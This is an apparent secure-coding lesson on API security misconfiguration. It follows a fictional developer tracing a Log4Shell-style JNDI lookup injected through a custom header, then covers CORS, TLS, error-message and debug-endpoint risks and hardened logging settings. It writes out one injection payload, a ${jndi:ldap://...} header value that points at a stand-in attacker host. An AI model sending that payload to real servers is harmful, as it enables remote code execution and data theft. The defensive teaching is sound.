API security misconfiguration refers to the improper configuration of API services, leading to potential security vulnerabilities. These misconfigurations can occur at any level of the API stack, including the network, application, and cloud service layers. Examples include missing security patches, unnecessary features, weak permissions, or improperly set CORS policies. Attackers can exploit such flaws to gain unauthorized access, leak sensitive data, or even compromise entire systems.

Misconfigurations often arise from neglected updates, a lack of security reviews, or default settings that are not adequately hardened for production. Automated tools can make detecting and exploiting these flaws relatively easy for attackers.

In this lesson, you will learn how API Security Misconfiguration vulnerabilities manifest and how to protect your APIs against them. You'll follow the story of an exploited API to understand the risks and see how robust configurations can mitigate such threats.

Sebastian is a developer at FleetSecure, a logistics company that provides APIs to manage fleets and track shipments. One day, a large customer reports an unusual issue: their private shipment data is appearing in the account of another client. Alarmed, Sebastian begins investigating.

FleetSecure’s API uses a centralized authentication system with JWTs (JSON Web Tokens) to manage user sessions. As Sebastian reviews the API logs, he notices something strange—several requests contain a custom HTTP header X-Api-Version. This header is typically benign and used internally by developers during API testing to specify API versions. However, the values in the logs appear unusual, including references to a suspicious external domain.

He examines an API log entry. A suspicious request is highlighted, showing the following request:

The resulting log entry looks like this:

A closer inspection of the API server's behavior reveals a critical misconfiguration: the API backend logs all incoming requests verbatim, including any custom headers. Moreover, the backend uses a logging library with placeholder expansion enabled by default. This setup means any value passed into a custom header, such as X-Api-Version: ${jndi:ldap://malicious.attacker.com/Malicious.class}, triggers the library to resolve it as a remote resource. Worse still, the system's outbound firewall lacks restrictions, allowing it to fetch and execute the attacker’s payload.

The result is shocking when Sebastian replicates the behavior in a staging environment. Using an API client, he sends a request containing the malicious header. Almost immediately, the backend server contacts the attacker’s domain and retrieves the remote payload, which executes on the server with full privileges. This grants the attacker unauthorized access to sensitive shipment data and the ability to execute arbitrary commands on FleetSecure's infrastructure.

He uses a REST client to replicate the suspicious request on a staging environment.

Payload to send:

Backend response:

Realizing the severity of the issue, Sebastian disables placeholder expansion in the logging library and ensures the outbound firewall blocks such requests. He also reviews other API configurations, hardening the system to prevent further exploitation.

Current firewall rule: ALLOW OUTBOUND *

Let’s explore how the exploitation of FleetSecure’s API occurred.

Logging misconfiguration

The root cause of the vulnerability was the insecure default behavior of the logging library. When the X-Api-Version header was logged, the library attempted to resolve placeholders within the value, such as ${jndi:ldap://...}. This behavior, intended for legitimate template expansions, became a security risk when untrusted input was logged.

When the malicious request was processed, the logging library:

• Parsed the placeholder syntax (${...}) in the X-Api-Version header.
• Triggered a JNDI lookup to resolve the value.
• Connected to the attacker-controlled LDAP server and fetched a Java class file (Malicious.class), which was executed by the backend server.

Outbound firewall rules

Another contributing factor was the lack of outbound traffic restrictions. The backend server was able to connect freely to external domains, allowing the attacker to serve the payload from their LDAP server.

Restricting outbound traffic to only approved domains would have blocked the lookup, preventing the malicious payload from being fetched and executed.

Vulnerable code example

This section provides vulnerable code snippets, illustrating how such misconfigurations could occur. It's important to note that in this type of vulnerability the code snippets here are not vulnerable in themselves. It is the configuration of the logging library that can make it vulnerable.

Log4js allows placeholders like ${var} in log messages. If enablePlaceholders is set to true, untrusted input could be expanded during logging.

The default logging module in Python does not resolve placeholders by itself. However, if developers interpolate untrusted inputs into the format string (logger.info("Header: %s", header)), they risk exposing sensitive data or enabling injection vulnerabilities when used with third-party formatters.

Monolog itself does not perform placeholder expansion, but untrusted input passed directly to the logger (without escaping) can lead to vulnerabilities when third-party formatters or processors are used.

Log4j versions prior to 2.17.0 allowed JNDI lookup resolution in message patterns. If %m contains ${jndi:ldap://...}, it would trigger a lookup, potentially executing remote code.

In NLog, ${message} can include placeholders or expand values passed to the logger. If untrusted input is logged, it could exploit vulnerabilities in the message handling chain.

Logrus itself does not perform placeholder expansion, but insecure formatters can result in vulnerable log messages when untrusted input is logged.

The example provided above is just one type of misconfiguration (two, if you include the unrestricted outbound rules on the firewall). There are many other types of API-related security misconfigurations that can occur at various stages of the API lifecycle, from design to deployment. Below are some of the most common types of misconfigurations specific to APIs, along with examples of how they might manifest in real-world scenarios:

Unencrypted API communication (missing TLS)

APIs that do not enforce HTTPS for communication expose sensitive data to interception by attackers. For example, an e-commerce API that sends customer credit card information over HTTP can be intercepted by a man-in-the-middle (MITM) attack, leading to data theft.

Overly permissive CORS policies

APIs with misconfigured CORS settings, such as allowing Access-Control-Allow-Origin: *, enable any domain to interact with the API. For instance, a banking API with a permissive CORS policy might allow a malicious website to fetch sensitive user account details without authorization.

Leaky error messages

Detailed error responses can reveal sensitive information about the API's backend. For example, an API might return a stack trace containing database connection strings or API key values, which attackers can use to further compromise the system.

Exposed debug endpoints

Development and testing endpoints, such as /debug or /test, are often left exposed in production environments. These endpoints can provide attackers with system diagnostics or shortcuts to bypass authentication and authorization controls.

Beyond these common types, there are countless other potential misconfigurations, depending on the unique architecture, design, and deployment practices of each API. Regular security assessments and adherence to secure development standards are critical to protecting APIs from such vulnerabilities.

API Security Misconfiguration vulnerabilities tend to be highly exploitable, as attackers often leverage automated tools to detect and exploit misconfigured systems. The most significant impacts include:

Exposure of sensitive data

Misconfigured APIs may leak sensitive information, such as customer records, authentication tokens, or even system credentials. Attackers can exploit these leaks to escalate their access or sell the stolen data.

Operational disruption

Attackers exploiting API misconfigurations can delete or modify critical resources, disrupt business operations, or overload systems, causing denial-of-service (DoS) conditions.

Reputation and financial damage

High-profile breaches caused by misconfigured APIs can lead to loss of customer trust, regulatory fines, and reputational harm. Businesses may face significant financial losses as a result.

To mitigate the issue in the story above, several critical changes were applied. First, placeholder expansion was disabled in the logging library. This adjustment ensured that no untrusted input could be resolved or executed. Next, the firewall rules were hardened to block all outbound traffic except for explicitly whitelisted domains. This change prevented the backend server from fetching external payloads. Finally, additional security measures were implemented, including a comprehensive review of the API to identify and address other potential misconfigurations. This review covered missing patches, insecure defaults, and any overlooked vulnerabilities, ensuring the API was robustly secured against future attacks.

With the vulnerable code examples above, here’s how to configure popular logging libraries securely to prevent placeholder expansion and related vulnerabilities.

This configuration below sets enablePlaceholders to false to disable expansion of placeholders like ${var}. Always sanitize user inputs before logging.

This code below avoids direct string interpolation. It uses parameterized logging with sanitized inputs to ensure untrusted data is treated as plain text.

For the code below, it has been upgraded to Log4j 2.17.0 or later, which disables JNDI lookups by default. For older versions, explicitly disable lookups using JVM options.

This code below sample sanitizes user inputs before passing them to the logger to ensure no unintended processing occurs.

This configuration below uses the raw=true option to treat input as literal text, disabling interpretation of placeholders or templates within the logged message.

For the Go code below, use a custom formatter or sanitize inputs before logging. Ensure placeholders are not resolved within the formatter.

To prevent logging-related vulnerabilities, several best practices should be followed. If the logging library in use supports disabling placeholder expansion, this option should always be enabled to eliminate the risk of untrusted input being resolved or executed. Additionally, all user-controlled data should be carefully validated and sanitized before it is logged. This ensures that potentially harmful data is treated as plain text and cannot introduce security risks.

Keeping logging libraries updated to their latest secure versions is another critical measure. Many vulnerabilities are addressed in newer releases, and staying current helps mitigate known issues. Finally, using secure formatters is essential. Opt for formatters designed to treat user inputs as literal strings, preventing the interpretation of placeholders or special characters that could otherwise lead to exploitation. Together, these strategies significantly enhance the security of logging practices in applications.

To expand your understanding of API Security Misconfiguration and related vulnerabilities, explore the following resources:

• OWASP API Security Top 10: https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/
• Snyk blog: How to prevent security misconfigurations